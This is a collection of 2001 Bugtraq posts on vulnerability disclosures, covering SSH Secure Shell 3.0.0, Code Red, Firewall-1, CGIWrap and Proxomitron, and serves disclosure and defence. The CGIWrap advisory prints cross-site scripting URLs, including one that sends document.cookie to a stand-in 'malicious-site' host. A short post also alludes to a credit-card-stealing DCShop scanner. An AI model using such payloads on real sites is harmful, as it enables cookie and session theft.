UNIX Assembly Codes Development For Vulnerabilities Illustration Purposes
UNIX Assembly Codes Development For Vulnerabilities Illustration Purposes Last Stage of Delirium Research Group This technical document contains information about the specifics of writing assembly components for proof of concept codes on different operating systems/architectures. Specifically, it focuses on commercial UNIX systems: IRIX/MIPS, HP-UX/PA-RISC, AIX/PowerPC/POWER and Solaris/x86/Sparc. It is neither meant to be a complete guide to the aforementioned computer architectures nor it is the assembly language tutorial. It has been written as a result of our side-effect investigation efforts in the area of security research pertaining to proof of concept codes development for security vulnerabilities illustration purposes. Obviously, it is destined for code developers specializing (having/looking for an experience) in the area of buffer overflow and format string vulnerabilities, however it is limited only to these assembly parts. For information regarding general proof of concept codes development, please refer to other papers. This paper is divided into several inter-related parts. In the beginning some basic information about various processor architectures and their important characteristics is given. Next, a detailed discussion of the system call invocation mechanisms, which seems to be crucial for further parts, is presented in the context of different operating systems. It is followed by the introduction to coding requirements, such as writing position independent and zero free assembly codes. Finally, a detailed discussion of several assembly routines with special emphasis on their functionality is presented. In the appendices of this paper you will also find source codes of every routine for all discussed operating systems and architectures along with sample code of their usage. http://lsd-pl.net/papers.html#assembly http://lsd-pl.net/asmcodes.html http://lsd-pl.net/documents/asmcodes-1.0.2.pdf http://lsd-pl.net/documents/asmcodes-blackhat.ppt http://lsd-pl.net/projects/asmcodes-1.0.2.tar.gz -- Elias Levy SecurityFocus.com http://www.securityfocus.com/ Si vis pacem, para bellum
Re: IBM TFTP Server for Java vulnerability
As was pointed out to me in a private mail message, there was a month between the vendor being contacted and the advisory being posted on Bugtraq. I misread the original message from Patrick and thought the advisory had been released only a day after he contacted IBM, and not a month. While I feel the points in my original email are still valid, the tone of my message was a bit harsher than necessary. IBM probably could have informed Patrick that a fix would be in an upcoming release, and Patrick could have perhaps waited for that release to be announced before posting his advisory. Unfortunately, that didn't happen. On Sat, 21 Jul 2001, John Schultz wrote: > On Fri, 20 Jul 2001, Patrick Medhurst wrote: > > The vendor was contacted on 19 June 2001 and responded on 20 June 2001 > > as follows: > > "We will take a look at the issue and fix it as soon as possible". > > > > Further correspondence requesting when a fix will be released has been > > ignored. > > Just because a company can't tell you immediately when a bug will be > fixed, you say that you are being ignored and see fit to release an > advisory? Do you have any idea how easy the problem will be to fix? > Probably not, and I bet IBM would have to do some research first, finding > out what code contains the problem, allocating developers, build > personnel, and QA the fix before even they know when a fix will be out. > Sheesh. > > John Schultz > [EMAIL PROTECTED] > > > > >
Proxomitron Cross-site Scripting Vulnerability
Proxomitron Cross-site Scripting Vulnerability
==
Affected versions
=
Proxomitron Naoko-4 BetaFour or earlier
http://spywaresucks.org/prox/
Problem
===
Accessing the following URL with the browser configured to use
Proxomitron as a proxy,
http://www.example.com:/document.write(document.domain)
inactive port
it will cause Proxomitron to produce output like this:
The Proxomitron Reveals...
...
The Proxomitron couldn't connect to...
www.example.com:/document.write(document.domain)
The site may be busy or the web server may be down.
...
and this will be shown as the following:
Error connecting to site
The Proxomitron couldn't connect to...
www.example.com:/www.example.com
The site may be busy or the web server may be down.
The noteworthy point is that the JavaScript code will be executed on
an arbitrary specified domain.
Therefore, a malicious JavaScript code written by an attacker can be
executed in the browser and the Cookies issued from an arbitrary
specified site can be stolen.
cf. The same problem was found in Squid 2.4 DEVEL4.
Status
==
Notified:
21 Jul 2001 05:19:22 +0900
Fix:
Proxomitron Naoko-4 BetaFive
http://spywaresucks.org/prox/beta.html
Changes.txt:
> BETA FIVE:
> * Fixed a potential JavaScript exploit that could result from
> including HTML in a bad URL. Proxomitron's error message output
> would echo the URL to the browser allowing the code to be
> processed. This could let JavaScript run seemingly under that
> URL (and might lead to cookie vulnerabilities).
> All echoed text is now HTML escaped before being printed.
> (My thanks to Hiromitsu Takagi for alerting me to this).
--
Hiromitsu Takagi, Ph.D.
National Institute of Advanced Industrial Science and Technology,
Tsukuba Central 2, 1-1-1, Umezono, Tsukuba, Ibaraki 305-8568, Japan
http://www.etl.go.jp/~takagi/
RE: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
Hi Roman and Others, Thanks for the feedback. SSH Secure Shell 3.0.0 does not ship with any of the operating systems mentioned, nor does the announcement specify that it does. However, if a user has explicitly installed SSH Secure Shell 3.0.0 on any of the listed operating systems, they are vulnerable to this potential exploit. Please understand that we receive many support requests from administrators using either the commercial or non-commercial versions of SSH Secure Shell on SuSe, Redhat, Caldera, and other Linux versions - even though SSH Secure Shell is not bundled these operating systems. Because of this, we wish to ensure that those users are aware that this issue does affect them, and what they can do to protect themselves. We have listed those operating systems which we know are vulnerable _with SSH Secure Shell 3.0.0 installed_. My apologies if this was not clear in the original announcement. Best Regards, Steph -Original Message- From: Roman Drahtmueller [mailto:[EMAIL PROTECTED]] Sent: Monday, July 23, 2001 9:03 AM To: Stephanie Thomas; [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0 > From: Stephanie Thomas <[EMAIL PROTECTED]> > To: [EMAIL PROTECTED] > Date: Fri, 20 Jul 2001 17:34:02 -0700 > Subject: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0 [...] > PLATFORMS IMPACTED: > > Red Hat Linux 6.1 thru 7.1 > Solaris 2.6 thru 2.8 > HP-UX 10.20 > HP-UX 11.00 > Caldera Linux 2.4 > Suse Linux 6.4 thru 7.0 Numerous requests force an additional statement. The ssh versions 3.* are not shipped with SuSE Linux, all versions of the distribution. Thanks to Frank Denis for pointing this out on bugtraq. Since most of the mentioned systems are older than ssh-3.*, it seems logical that these systems can't be affected by default. It should have been mentioned that the platforms mentioned above are vulnerable if the said version of ssh has been installed on them. I wish for more precision in future security announcements from ssh.com. Roman Drahtmüller, SuSE Security. -- - - | Roman Drahtmüller <[EMAIL PROTECTED]> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -
RE: Firewall-1 Information leak
On Fri, 20 Jul 2001, MALIN, ALEX (PB) wrote: > Why might anybody use FWZ (CheckPoint's propriatary encryption scheme), > rather than IKE? It's inherently less secure, as it can't use IPSec tunnel > mode. As I see it, there's a genaral problem with using firewalls for > encryption gateways. You don't want to tie up your gateway with all the > processing and memory usage that VPN devices require. CheckPoint seems to > have built a client-to-site VPN that is designed to reduce some of the > performace hit on the firewall. What you end up with, I think, is a kind of > security "lite." A little less data security (especially if you make > topology requests available to anybody with the SecuRemote client software). There used to be a time when you could get FWZ but there was no IKE or you would have to fill silly export forms. Hence the existance of FWZ out in the field. Hugo. -- All email send to me is bound to the rules described on my homepage. [EMAIL PROTECTED]http://hvdkooij.xs4all.nl/ Don't meddle in the affairs of sysadmins, for they are subtle and quick to anger.
Re: permission probs with Arkeia
On Mon, 23 Jul 2001, Daniel Wittenberg wrote: > While working with the commercial version of Arkeia backup software I > noticed it creates most of it's "database" files with the permissions of > 666. This was version 4.2.8-2 of the server, and I had noticed this several > updates ago, so it's been going on for some time. The database files are > located in /usr/knox/arkeia/dbase. I have tried resetting the permissions > on the files, but they get reset again when backup runs again. I tried > contacting Knox Software but was told more than once that basically I don't > have a support contract so they wouldn't talk to me - they were warned. I > wasn't able to find anything about this in their documentation. We're running 4.2.7-1 server and we're not seeing this. The files that are 666 are the zero-length lock files (o3_cpnt.lck), but the more substansive "database" data files (o3_cpnt) is 644. The Arkeia change log indicates that the oly difference between 4.2.7 and 4.2.8 is tape library support.
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
Hi Brian, et. al., Actually, this statement: > If you didn't pay for it then you are OK!! is not true. SSH Communications Security provides SSH Secure Shell for non-commercial / educational use, and commercial use on the free operating systems (Linux / BSDs), free of charge. Those non-commercial users of SSH Secure Shell 3.0 (who didn't pay for it) are still vulnerable. If you are using SSH Secure Shell 3.0, whether you paid for it or not, please upgrade ASAP. Non-commercial / education users can locate the upgrade at: ftp://ftp.ssh.com/pub/ssh Best Regards, Steph -- * Stephanie Thomas Technical Support Specialist SSH Secure Shell GIAC Certified Unix Security Administrator SSH Communications Security Inc. http://www.ssh.com/support/ssh * Brian Carpio wrote: > > OpenSSH is not vulnerable at all weather or not you use PAM.. this is SSH > the commercial Version. > > If you didn't pay for it then you are OK!! > > -- > Brian Carpio > CSG Systems Inc. > Open Systems Unix System Admin > > x3317 > -- > > --- Security is a Process NOT a Product > > On Sat, 21 Jul 2001, Marcin Zurakowski wrote: > > > On Fri, 20 Jul 2001, Stephanie Thomas wrote: > > > > > an empty password. This affects SSH Secure Shell 3.0.0 > > > > I guess openssh with pam support is not vulnerable?? > > > > -- > > > > Marcin Zurakowski > > > > InterFirma Administrator > > > > > > -- * Please note that for support cases, if I have not heard otherwise within five business days, I will assume that your issue is resolved. Stephanie Thomas Technical Support Specialist SSH Secure Shell GIAC Certified Unix Security Administrator SSH Communications Security Inc. http://www.ssh.com/support/ssh *
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
From: Nate Eldredge <[EMAIL PROTECTED]> > What's wrong with just using `strcmp' (i.e. no constraint at all)? After > all, what you want to know is just whether the two strings are identical, > period. And unless crypt() and /etc/shadow are both broken, it will stop > at the right place. I realize it goes against the reflexive "only strn* > functions are safe" idea, but that shouldn't substitute for thinking... strcmp() with one argument as a crypt() output would be OK provided any password aging information had first been removed from the field in the comparison. Code to detect accounts without passwords ought to check this too as "::" is not the only value that is open to all. "Essential System Administration" 2nd Edition by Frisch falls down here on p344. -- ## # Antonomasia ant notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/# ##
DCShop exploit
Hi All, Seems like there will be a few stolen creditcards floating around in the next week or two, with this scanner. -- Sandra ss.zip
RE: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
Both 2.3.0 and 2.4.0 don't appear to be vulnerable on my system (Intel Solaris 8). 3.0.0 *was* vulnerable, however, and I was able to easily exploit the system. -Original Message- From: Jaime BENJUMEA [mailto:[EMAIL PROTECTED]] Sent: Saturday, July 21, 2001 12:27 PM To: Stephanie Thomas Cc: [EMAIL PROTECTED] Subject: Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0 Stephanie Thomas wrote: > > A potential remote root exploit has been discovered > in SSH Secure Shell 3.0.0, for Unix only, concerning > accounts with password fields consisting of two or > fewer characters. Unauthorized users could potentially > log in to these accounts using any password, including > an empty password. This affects SSH Secure Shell 3.0.0 > for Unix only. This is a problem with password Does anybody know if previous versions (2.4) are also affected?
RE: Firewall-1 Information leak
SecuRemote works with 2 FireWall-1 encryption schemes, FWZ and IKE. Here's my reading on it. If you use IKE, you MUST deselect "respond to unauthenticated topology requests." However, if you use FWZ, CheckPoint recommends that you select "respond to unauthenticated topology requests." As the previous posting describes, you can work around this by placing topology information in users' userc.C files. Why might anybody use FWZ (CheckPoint's propriatary encryption scheme), rather than IKE? It's inherently less secure, as it can't use IPSec tunnel mode. As I see it, there's a genaral problem with using firewalls for encryption gateways. You don't want to tie up your gateway with all the processing and memory usage that VPN devices require. CheckPoint seems to have built a client-to-site VPN that is designed to reduce some of the performace hit on the firewall. What you end up with, I think, is a kind of security "lite." A little less data security (especially if you make topology requests available to anybody with the SecuRemote client software). But you can keep more encrypted data sessions going simultaneously. Alex Malin -Original Message- From: Bugtraq Account [mailto:[EMAIL PROTECTED]] Sent: Thursday, July 19, 2001 3:02 PM To: Haroon Meer Cc: [EMAIL PROTECTED] Subject: Re: Firewall-1 Information leak On Wed, 18 Jul 2001, Haroon Meer wrote: > Checkpoint Firewall-1 makes use of a piece of software called SecureRemote > to create encrypted sessions between users and FW-1 modules. Before remote > users are able to communicate with internal hosts, a network topology of > the protected network is downloaded to the client. While newer versions of > the FW-1 software have the ability to restrict these downloads to only > authenticated sessions, the default setting allows unauthenticated > requests to be honoured. This gives a potential attacker a wealth of > information including ip addresses, network masks (and even friendly > descriptions) This is a well-known, and generally accepted, risk associated with running FWZ SecuRemote VPN's to FireWall-1. As others have already commented, it is possible to turn off unauthenticated topology downloads through the policy properties. If you do this, you will need to manually distribute a userc.C file (containing the topology information) to all of your secuRemote users. This file should be loaded into the c:\winnt\fw\database directory on the client. >From start to finish, the procedure should go something like this: 1. Set up you firewall gateway for VPN, with the "Respond to unauthenticated topology requests" enabled. 2. Set up a sample secuRemote client, and download the site topology. 3. Turn off "Respond to unauthenticated topology requests". 4. Securely distribute the file userc.C from the sample client to all secuRemote users. You will need to send out an updated userc.C any time there is a change to the encryption domain or keying info. Regards, Dave Taylor
RE: Oracle Vulnerability Discovered in OID
This was covered in CERT Advisory CA-2001-18, posted to bugtraq by aleph1 on July 17th. The posting is a bit miss leading and has Oracle 8i Enterprise Edition listed rather than Oracle Internet Directory (OiD). - Dave Lee In CERTs defense OiD does ship with the Enterprise Edition, but that is kind of like listing Win2K is vulnerable when it is an Exchange issue. > -Original Message- > From: Aaron C. Newman > [mailto:[EMAIL PROTECTED]] > Sent: Friday, July 20, 2001 11:37 AM > To: BUGTRAQ > Subject: Oracle Vulnerability Discovered in OID > > > There's a new vulnerability discovered in the Oracle > Internet Directory > (Oracle's LDAP server). It has been in the database > since 7/16, but I > haven't seen it mentioned here yet. > > Here are links to the details of the advisory: > > "Oracle Internet Directory contains multiple > vulnerabilities in LDAP > handling code" > http://www.kb.cert.org/vuls/id/869184 > > http://www.securityfocus.com/bid/3047 > > http://otn.oracle.com/deploy/security/pdf/oid_cert_bof.pdf > > > Regards, > Aaron C. Newman > CTO/Founder > Application Security, Inc. > 212-490-6022 > [EMAIL PROTECTED] > www.appsecinc.com > -Protection Where It Counts- __ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
> From: Stephanie Thomas <[EMAIL PROTECTED]> > To: [EMAIL PROTECTED] > Date: Fri, 20 Jul 2001 17:34:02 -0700 > Subject: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0 [...] > PLATFORMS IMPACTED: > > Red Hat Linux 6.1 thru 7.1 > Solaris 2.6 thru 2.8 > HP-UX 10.20 > HP-UX 11.00 > Caldera Linux 2.4 > Suse Linux 6.4 thru 7.0 Numerous requests force an additional statement. The ssh versions 3.* are not shipped with SuSE Linux, all versions of the distribution. Thanks to Frank Denis for pointing this out on bugtraq. Since most of the mentioned systems are older than ssh-3.*, it seems logical that these systems can't be affected by default. It should have been mentioned that the platforms mentioned above are vulnerable if the said version of ssh has been installed on them. I wish for more precision in future security announcements from ssh.com. Roman Drahtmüller, SuSE Security. -- - - | Roman Drahtmüller <[EMAIL PROTECTED]> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
Stephanie Thomas wrote: > > A potential remote root exploit has been discovered > in SSH Secure Shell 3.0.0, for Unix only, concerning > accounts with password fields consisting of two or > fewer characters. Unauthorized users could potentially > log in to these accounts using any password, including > an empty password. This affects SSH Secure Shell 3.0.0 > for Unix only. This is a problem with password Does anybody know if previous versions (2.4) are also affected?
Re: IBM TFTP Server for Java vulnerability
> Just because a company can't tell you immediately when a bug will be > fixed, you say that you are being ignored and see fit to release an > advisory? Do you have any idea how easy the problem will be to fix? > Probably not, and I bet IBM would have to do some research first, finding > out what code contains the problem, allocating developers, build > personnel, and QA the fix before even they know when a fix will be out. > Sheesh. well, as I read it, he hasn't had any contact beyond an initial "we will look at it" for a month. a month is a long time for an outstanding vunerability if it becomes public knowledge. Surely he deserves to be at least "kept in the loop" and get replies to status queries, if only to be told the email address of an engineer the problem has been assigned to? I would question exactly how much time a noncomittal "we will look at it" followed up by ignoring further emails on the subject should buy a company - a month is a reasonable time for a vunerability to be at least confirmed and the engineer responsible to contact the person submitting the report and ask for a longer extension to get a patch ready; much longer and it could be a case of the company just dropping the matter and hoping it gets fixed in the next major release, which we have all seen before.
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
> > >A quick glance at the source code suggests that SSH 2.3.0 and > >2.4.0 have the same problem. Is this true? > > I suppose we are talking about this section of ssh 2.4.0's > sshunixuser.c: > >940 >941 /* Authentication is accepted if the encrypted passwords are >identical. */ >942#ifdef HAVE_HPUX_TCB_AUTH >943 return strncmp(encrypted_password, correct_passwd, >944 strlen(correct_passwd)) == 0; >945#else /* HAVE_HPUX_TCB_AUTH */ >946 return strcmp(encrypted_password, correct_passwd) == 0; >947#endif /* HAVE_HPUX_TCB_AUTH */ > > If I read this correctly, it's certainly not a problem unless ssh is > compiled with HAVE_HPUX_TCB_AUTH defined. In that case, it may or the linux compile at least doesn't #define HAVE_HPUX_TCB_AUTH so the sshd 2.4.0 is not vulnerable on linux. Luci
permission probs with Arkeia
While working with the commercial version of Arkeia backup software I noticed it creates most of it's "database" files with the permissions of 666. This was version 4.2.8-2 of the server, and I had noticed this several updates ago, so it's been going on for some time. The database files are located in /usr/knox/arkeia/dbase. I have tried resetting the permissions on the files, but they get reset again when backup runs again. I tried contacting Knox Software but was told more than once that basically I don't have a support contract so they wouldn't talk to me - they were warned. I wasn't able to find anything about this in their documentation. Dan = Daniel Wittenberg System Administrator University of Iowa http://dan.its.uiowa.edu
e-smith minor useless flaw
e-smith (www.e-smith.com) has a minor fault in its 'administration' part. If an account is added manually (that is, without using the http interface) it wont show in the accounts in the http interface. Since most/all administration is taken care of through the http interface an account would never be noticed by a clueless sysadm. Not a very big problem, but still not very good. pizza. yum. _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp
RE: IBM TFTP Server for Java vulnerability
let's not forget, this is only alpha code. it is a good thing that the vuln was found and reported to ibm. i think the advisory is more than appropriate given that this is most likely not being used in production by anyone. i don't know much about alphaworks but i would presume that all code comes with a caveat that it could be buggy. sean -Original Message- From: John Schultz [mailto:[EMAIL PROTECTED]] Sent: Saturday, July 21, 2001 3:36 PM To: [EMAIL PROTECTED] Subject: Re: IBM TFTP Server for Java vulnerability On Fri, 20 Jul 2001, Patrick Medhurst wrote: > The vendor was contacted on 19 June 2001 and responded on 20 June 2001 > as follows: > "We will take a look at the issue and fix it as soon as possible". > > Further correspondence requesting when a fix will be released has been > ignored. Just because a company can't tell you immediately when a bug will be fixed, you say that you are being ignored and see fit to release an advisory? Do you have any idea how easy the problem will be to fix? Probably not, and I bet IBM would have to do some research first, finding out what code contains the problem, allocating developers, build personnel, and QA the fix before even they know when a fix will be out. Sheesh. John Schultz [EMAIL PROTECTED]
RE: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabil ities)
> -Original Message- > From: Angelos Karageorgiou [SMTP:[EMAIL PROTECTED]] > Sent: Friday, July 20, 2001 3:37 > To: Cole, Timothy D. > Cc: [EMAIL PROTECTED] > Subject: RE: Linux, too, sot of (Windows MS-DOS Device Name DoS > vulnerabil ities) > > On Wed, 18 Jul 2001, Cole, Timothy D. wrote: > > > > > A 'stat' of all of these files shows that they are not regular > > > files. There's no reason, them, to open them in the browser. > > > > > > > If someone wants to be nasty, he/she can > > > > create a web page with > > > > URLs inside > > > > listing DOS devices as well as these popular UNIX devices. > > > > > > I question the wisdom of browsers which allow external web pages to > > > reference local files via 'file://' URLs. > > > > > I agree; that's really the underlying problem. Checking for special > > files is a band-aid fix that also limits flexibility. > > > > I do follow your sentiments, but stat'ing shoul dhave been done since day > one that the first exploit on unix appeared. > Most browsers do stat() for directories. Everything else is treated as a byte stream, which was a deliberate design decision made in Unix, and faithfully (we may disagree whether it was TOO faithfully) observed by browser makers. > Let me remind you that in Unix even the directories are files, there > are also named pipes, synlinks, hardlinks loop filesystems, mountpoints > etc etc. > You can't easily distinguish the latter cases (mountpoints, hard links [which is the 'real' link?], loopback filesystems) by using stat(). Neither are any of these harmful. > Now that I think about it, EVERY fopen must be prepended with a stat > in every program, and would make a whole class of problems disappear > Not really. If a local user is using file:// URLs maliciously, you're still subject to stat() races. fstat() after fopen() would be better. However, merely opening some device files can do damage (e.g. auto-rewinding tape devices). I'll concede that doing a *stat() to check for S_IFBLK | S_IFCHR might be reasonable as damage control, but it doesn't eliminate the entire class of problems. stat(), fstat() and lstat() also cannot tell you if opening or reading a "regular" (S_IFREG) file will have side-effects. Consider a kernel like HURD, a Linux or *BSD system with userfs, or on some systems, certain entries in the /proc filesystem. Restricting what can be opened based on inode type also eliminates a certain class of useful things (for an admittedly weak example, a Linux system administrator who has a "hardware configuration" page with an iframe containing the output of /dev/sndstat. It is also possible to use named pipes for interesting things locally). > > > As a genral principle, regardless of platform, local paths may > > encompass more than just 'dumb' files, so following 'remote' references > to > > them should be restricted. > I meant "restricted" in the sense that it would not be allowed in _all_ cases. I think it should be allowed, but should require user intervention. (e.g. "Load local image file:///dev/urandom from remote document http://www.pure-evil.com/die-die-die.html (yes/no)?") > then we have the problems of uploading files on the web, online editting > and all these goodies > All of those cases require user intervention even now. If someone chooses to upload /dev/zero voluntarily, more power to them.
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
OpenSSH is not vulnerable at all weather or not you use PAM.. this is SSH the commercial Version. If you didn't pay for it then you are OK!! -- Brian Carpio CSG Systems Inc. Open Systems Unix System Admin x3317 -- --- Security is a Process NOT a Product On Sat, 21 Jul 2001, Marcin Zurakowski wrote: > On Fri, 20 Jul 2001, Stephanie Thomas wrote: > > > an empty password. This affects SSH Secure Shell 3.0.0 > > I guess openssh with pam support is not vulnerable?? > > -- > > Marcin Zurakowski > > InterFirma Administrator > > >
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
On Friday, July 20, 2001 19:11:02 -0700, Dan Kaminsky <[EMAIL PROTECTED]> wrote: +- | The big issue here, of course, is not that sshd incorrectly checks the | cryptographic hash of an inadequately sized password but that it checks it | at all. NP, as far as I know, specifically stands for No Password | (acceptable, *not* needed), and !! I believe has the same meaning for | Linux(! for "no"). SSHD has traditionally when possible directly tested +--->8 Is it me, or is this the *same* bug that was found in the 1.2.x code some time back? -- brandon s. allbery [os/2][linux][solaris][freebsd] [EMAIL PROTECTED] system administrator [JAPH][WAY too many hats][EMAIL PROTECTED] electrical and computer engineering KF8NH carnegie mellon university [linux: proof of the million monkeys theory]
pileup 1.2
Attached you will find pileup-1.2 which fixes the scanf() buffer overflows, allowing root access as demonstrated by Charles Stevenson. The fix was written by Richard Everitt <[EMAIL PROTECTED]>, the author of pileup. Regards, Joop -- Joop Stakenborg - Debian GNU/Linux developer <[EMAIL PROTECTED]> --> Hey, look mom! I got me a full woody!! pileup-1.2.tar.gz
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
Michal Zalewski <[EMAIL PROTECTED]> writes: > On Fri, 20 Jul 2001, Stephanie Thomas wrote: > > > PLATFORMS IMPACTED: Red Hat Linux 6.1 thru 7.1 > > RedHat Linux 7.0 ships OpenSSH 2.2.1 (7.0). RedHat Linux 7.1 ships OpenSSH > 2.5.2. Previous versions shipped SSH 1.2.xx Releases of Red Hat Linux earlier than RHL 7 didn't ship openssh or ssh at all. -- Trond Eivind Glomsrød Red Hat, Inc.
Timely Patching (was: Full analysis of the .ida "Code Red" worm.)
JNJ wrote: > I have to disagree. Microsoft released a patch for this issue on 6/18/2001. > Here we are, a tad over a month later, and the issue is being exploited en > masse. This calls to question the attention of systems administrators to > their networks. The days of selective application of security patches are > long since over. IMHO, systems affected by this recent outbreak are being > administered by techs that need to pay closer attention to their > installations and keeping them up to date. The issue of timely patch application is rather complex. Bill Arbaugh (bcc'd) had an excellent paper at the 2001 IEEE Symposium on Security and Privacy (Oakland http://www.ieee-security.org/TC/sp2001.html ) that showed how the vast majority of exploitations resulted from known vulnerabilities that had not been patched. The paper http://www.cs.umd.edu/~waa/vulnerability.html shows some interesting trend graphs that draw the balistic curves of rising and subsequent falling exploitation rates, and the eventst that trigger these rate changes. It is also not clear that all patches should be applied immediately. Some vulnerabilities are discovered when they are being actively exploited, forcing vendors to rush patches into production, and resulting in less than optimal QA on those patches. Thus sometimes a patch will come out that breaks stuff, teaching admins to let someone else go first. Which leads to Immunix's research agenda of building tools that protect vulnerable software against unknown vulnerabilities, so that patches don't need to be urgent Crispin -- Crispin Cowan, Ph.D. Chief Scientist, WireX Communications, Inc. http://wirex.com Security Hardened Linux Distribution: http://immunix.org Available for purchase: http://wirex.com/Products/Immunix/purchase.html
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
On Fri, 20 Jul 2001, Stephanie Thomas wrote: > an empty password. This affects SSH Secure Shell 3.0.0 I guess openssh with pam support is not vulnerable?? -- Marcin Zurakowski InterFirma Administrator
Wide-scale Code Red Damage Assessment and Report
During the infection phase of Code Red (on the 19th) we wrote a small tool for research purposes. This tool read in logs of machines sending the default.ida attack and connected back to them on port 80, made a GET request and dumped the resulting data. This tool was run continuously from 3 unique machines in different locations around the internet, but all in the West Coast US. These "Reponse machines" connected to over 40K machines over the course of the next 24 hours. The goal is to research and gain statistics on what types of companies were launching these attack on our servers. Around 10:00 am PST we saw a sharp decrease in the succees of our connections to the attacking machines on port 80. Obiviously, this was probably the result of administrators finding these machines compromised and attacking a phantom www1.whitehouse.gov. Our port 80 connections to these machines steadily decreased over the next 12 hours. After dumping the index.html (or similar) pages from the attacking machines, we began to analyize the data. We decided the only real good information contained in this data was the time aspect mentioned above and the type of website being served. The time is of interest because it shows how quickly the infection was responded to by engineers and administrators. Although, this data is far from scientific and admins could have patched their machines and had them back up when the Response machines connected. The other item of interest was the sites being served on these machines. We are attempting to break the sites down into categories as follows: E-Commerce Site General Website Health Care providers Government Agencies Online Banking Institutions We will publish this information to this list when complete. However, to protect privacy of these sites, companies, etc. we are not planning on releasing names. Also, there are some sites which appear to contain gateways to sensitive data. We encourage the Responsible Parties of these machines to fix them in the interest of protecting Patient, Government and private data. We also encourage you to look through your logs in order to be more informed about these companies who were attacking and their apparent disregard for simple security fixes such as a patch. This disregard resulted in a massive about of DoS traffic to be transferred all over the internet. We can only hope to be so lucky next time. PGP signature
Re: [cgiwrap-users] Re: Security hole in CGIWrap (cross-site scripting vulnerability)
The following cross-site scripting vulnerability was reported in
cgiwrap. This has just been corrected in version 3.7 which has just been
released.
http://prdownloads.sourceforge.net/cgiwrap/cgiwrap-3.7.tar.gz
All error message output is now html encoded to prevent this problem.
-- Nathan
> "TAKAGI, Hiromitsu" wrote:
> >
> > Hi,
> >
> > I found a cross-site scripting vulnerability in CGIWrap. Cookies
> > issued by the server on which CGIWrap is installed can be stolen.
> >
> > Please try to access the following URLs.
> >
> > Confirming the bug:
> > http://www.unixtools.org/cgi-bin/cgiwrap/%3CS%3E
> > http://www.unixtools.org/cgi-bin/cgiwrap/
> > http://www.unixtools.org/cgi-bin/cgiwrap/~nneul/TEST
> > JavaScript code will be executed:
> >
>http://www.unixtools.org/cgi-bin/cgiwrap/~nneul/alert(document.domain)
> >
>http://www.unixtools.org/cgi-bin/cgiwrap/~nneul/document.write(document.domain)
> >
>http://www.unixtools.org/cgi-bin/cgiwrap/
> > Stealing your Cookies issued by www.unixtools.org, if any:
> >
>http://www.unixtools.org/cgi-bin/cgiwrap/~nneul/window.open("http://malicious-site/save.cgi%3F"+escape(document.cookie))
> >
> >
> > Regards,
> > --
> > Hiromitsu Takagi, Ph.D.
> > National Institute of Advanced Industrial Science and Technology,
> > Tsukuba Central 2, 1-1-1, Umezono, Tsukuba, Ibaraki 305-8568, Japan
> > http://www.etl.go.jp/~takagi/
>
> ___
> cgiwrap-users mailing list
> [EMAIL PROTECTED]
> http://lists.sourceforge.net/lists/listinfo/cgiwrap-users
--
Nathan Neulinger EMail: [EMAIL PROTECTED]
University of Missouri - Rolla Phone: (573) 341-4841
CIS - Systems ProgrammingFax: (573) 341-4216
Code Red Worm, closing notes
It seems as if the Code Red worm has gone to sleep for now, at least so far as we can tell. It will be interesting to see what happens when it re-awakens. My previous email noted that the ARIS project would be notifying as many IP's as we could about possible infections of the worm. To that end we notified against 172,066 unique IP's within 27,640 unique domains. We owe a special thanks to Vern Paxson of LBL in this regard for supplying a significant amount of data alongside our own ARIS data. Some notes of interest: List of the largest bulk offenders: 923 Level3.net 1159 cnc.net 1251 shawcable.net 1309 att.net 1363 bellatlantic.net 1404 wanadoo.fr 1438 gtei.net 1452 btinternet.com 1705 mindspring.com 1709 swbell.net 1905 bellsouth.net 2358 mediaone.net 2395 uu.net 2496 aol.com 2909 hinet.net 3870 pacbell.net 4148 t-dialin.net 5940 rr.com As I said earlier, the traffic seems to have dropped off. This is a graph showing this attack alongside the rest of the Internet noise( in terms of attacks trending up), the cessation is readily apparent: http://www1.securityfocus.com/data/staff/trended3.pdf Cheers, -al VP Engineering SecurityFocus.com "Vae Victis"
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
On 21 Jul 2001, Dale Southard wrote: > Sshd should probably be constraining its match to the length of the > crypt() output rather than the length of the password file entry. [I > say ``probably'' here because some systems (AIX) seem to produce null > password file hashes when `passwd` is given a null password. If that > behavior is due to the underlying crypt() function, then the > ``probably'' suggestion I just made yields remote root on those > systems.] What's wrong with just using `strcmp' (i.e. no constraint at all)? After all, what you want to know is just whether the two strings are identical, period. And unless crypt() and /etc/shadow are both broken, it will stop at the right place. I realize it goes against the reflexive "only strn* functions are safe" idea, but that shouldn't substitute for thinking... -- Nate Eldredge [EMAIL PROTECTED]
Re: Internet Explorer file:// URL issues
